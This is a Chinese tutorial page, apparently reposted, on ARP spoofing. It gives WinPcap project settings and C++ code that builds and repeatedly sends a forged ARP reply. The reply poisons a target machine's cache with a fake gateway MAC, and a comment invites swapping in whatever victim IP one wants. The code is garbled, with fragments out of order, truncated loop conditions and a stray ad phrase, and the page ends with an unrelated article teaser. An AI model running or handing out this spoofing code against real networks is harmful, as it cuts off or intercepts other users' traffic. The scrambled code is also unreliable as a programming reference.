由于局域网的网络流通不是根据IP地址进行,而是根据MAC地址进行传输。所以,MAC地址在A上被伪造成一个不存在的MAC地址,这样就会导致网络不通,A不能Ping通C!这就是一个简单的ARP欺骗。在每台安装有TCP/IP协议的电脑里都有一个ARP缓存表,表里的IP地址与MAC地址是一一对应的,在命令提示符下,输入“arp -a”就可以查看ARP缓存表中的内容了
注:用“arp -d”命令可以删除ARP表的内容;用“arp -s”可以手动在ARP表中指定IP地址与MAC地址的对应。配置及代码如下:项目–>**属性(alt+F7)
配置属性–>C/C++–>常规–>附加包含目录–>(是把头文件所在的文件路径(Include)添加到附加目录中C:WpdPackInclude)
项目–>**属性(alt+F7)
配置属性–>链接器–>常规–>附加库目录–>(是把Packet.lib;wpcap.lib所在目录(Lib)添加到附加库目录中C:WpdPackLib)
项目–>**属性(alt+F7)
配置属性–>链接器–>输入–>附加依赖项–>补充“;Packet.lib;wpcap.lib”
项目–>**属性(alt+F7) int _tmain(int argc, _TCHAR* argv[]) if( pcap_findalldevs_ex( PCAP_SRC_IF_STRING, NULL, &allAdapters, errorBuffer ) == 免费云主机域名-1 ) if( allAdapters == NULL ) int crtAdapter = 0; for( adapter = allAdapters; adapter != NULL; adapter = adapter->next) //选择适配器 if( adapterNumber crtAdapter ) adapter = allAdapters; // 打开指定适配器 pcap_freealldevs( allAdapters );//释放适配器列表 //创建数据封包 //发送数据封包 system( “PAUSE” );
配置属性–>C/C++–>预处理器–>预处理器定义–>补充“;HAVE_REMOTE”// WinpCap Test.cpp : 定义控制台应用程序的入口点。
//
#include “stdafx.h”
#include
{
pcap_if_t * allAdapters;//适配器列表
pcap_if_t * adapter;
pcap_t * adapterHandle;//适配器句柄
u_char packet[ 1020 ]; //待发送的数据封包
char errorBuffer[ PCAP_ERRBUF_SIZE ];//错误信息缓冲区
{//检索机器连接的所有网络适配器
fprintf( stderr, “Error in pcap_findalldevs_ex function: %sn”, errorBuffer );
return -1;
}
{//不存在任何适配器
printf( “nNo adapters found! Make sure WinPcap is installed.n” );
return 0;
}
{//遍历输入适配器信息(名称和描述信息)
printf( “n%d.%s “, ++crtAdapter, adapter->name );
printf( “– %sn”, adapter->description );
}
printf( “n” );
int adapterNumber;
printf( “Enter the adapter number between 1 and %d:”, crtAdapter );
scanf_s( “%d”, &adapterNumber );
{
printf( “nAdapter number out of range.n” );
pcap_freealldevs( allAdapters );// 释放适配器列表
return -1;
}
for( crtAdapter = 0; crtAdapter adapter = adapter->next;
adapterHandle = pcap_open( adapter->name, // name of the adapter
65536, // portion of the packet to capture
// 65536 guarantees that the whole
// packet will be captured
PCAP_OPENFLAG_PROMISCUOUS, // promiscuous mode
1000, // read timeout – 1 millisecond
NULL, // authentication on the remote machine
errorBuffer // error buffer
);
if( adapterHandle == NULL )
{//指定适配器打开失败
fprintf( stderr, “nUnable to open the adaptern”, adapter->name );
// 释放适配器列表
pcap_freealldevs( allAdapters );
return -1;
}
packet[0] = 0xc8; packet[1] = 0x9c; packet[2] = 0xdc; packet[3] = 0x22; packet[4] = 0x6c; packet[5] = 0x58; // 被骗计算机的mac地址
packet[6] = 0xc8; packet[7] = 0x9c; packet[8] = 0xdc; packet[9] = 0x22; packet[10] = 0x62; packet[11] = 0x0f; // 自己的mac地址
packet[12] = 0x08; packet[13] = 0x06; // 以太网封装arp协议(不用动)
packet[14] = 0x00; packet[15] = 0x01; // arp第1字段:代表以太网
packet[16] = 0x08; packet[17] = 0x00; // arp第2字段:代表IP协议
packet[18] = 0x06; // arp第3字段:代表第二层地址的长度
packet[19] = 0x04; // arp第4字段:代表第三层地址的长度
packet[20] = 0x00; packet[21] = 0x02; // arp第5字段:这是一个arp应答报文; 下面的是arp的第6,7,8,9字段
packet[22] = 0xc8; packet[23] = 0x9c; packet[24] = 0xdc; packet[25] = 0x22; packet[26] = 0x62; packet[27] = 0x06; // 假的网关地址,
packet[28] = 0xac; packet[29] = 0x1c; packet[30] = 0x0f; packet[31] = 0xfe; // 网关的ip,这里是172.28.15.254(在本实验室不用改)
packet[32] = 0xc8; packet[33] = 0x9c; packet[34] = 0xdc; packet[35] = 0x22; packet[36] = 0x6c; packet[37] = 0x58; // 被骗计算机的mac地址
packet[38] = 0xac; packet[39] = 0x1c; packet[40] = 0x0f; packet[41] = 0x13; // 被骗计算机的IP地址,这里是172.28.15.19 (想骗谁,这里就改成谁的IP)
for(int ssde=0;ssde {
pcap_sendpacket( adapterHandle, packet, 42);
Sleep(1000);
}
return 0;
}
可以防止arp欺骗!
这篇“linux与rtos有哪些区别”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读完这篇文章能有所收获,下面我们一起来看看这篇“linux与rtos有哪些区别”文章吧。 linux与rtos…
免责声明:本站发布的图片视频文字,以转载和分享为主,文章观点不代表本站立场,本站不承担相关法律责任;如果涉及侵权请联系邮箱:360163164@qq.com举报,并提供相关证据,经查实将立刻删除涉嫌侵权内容。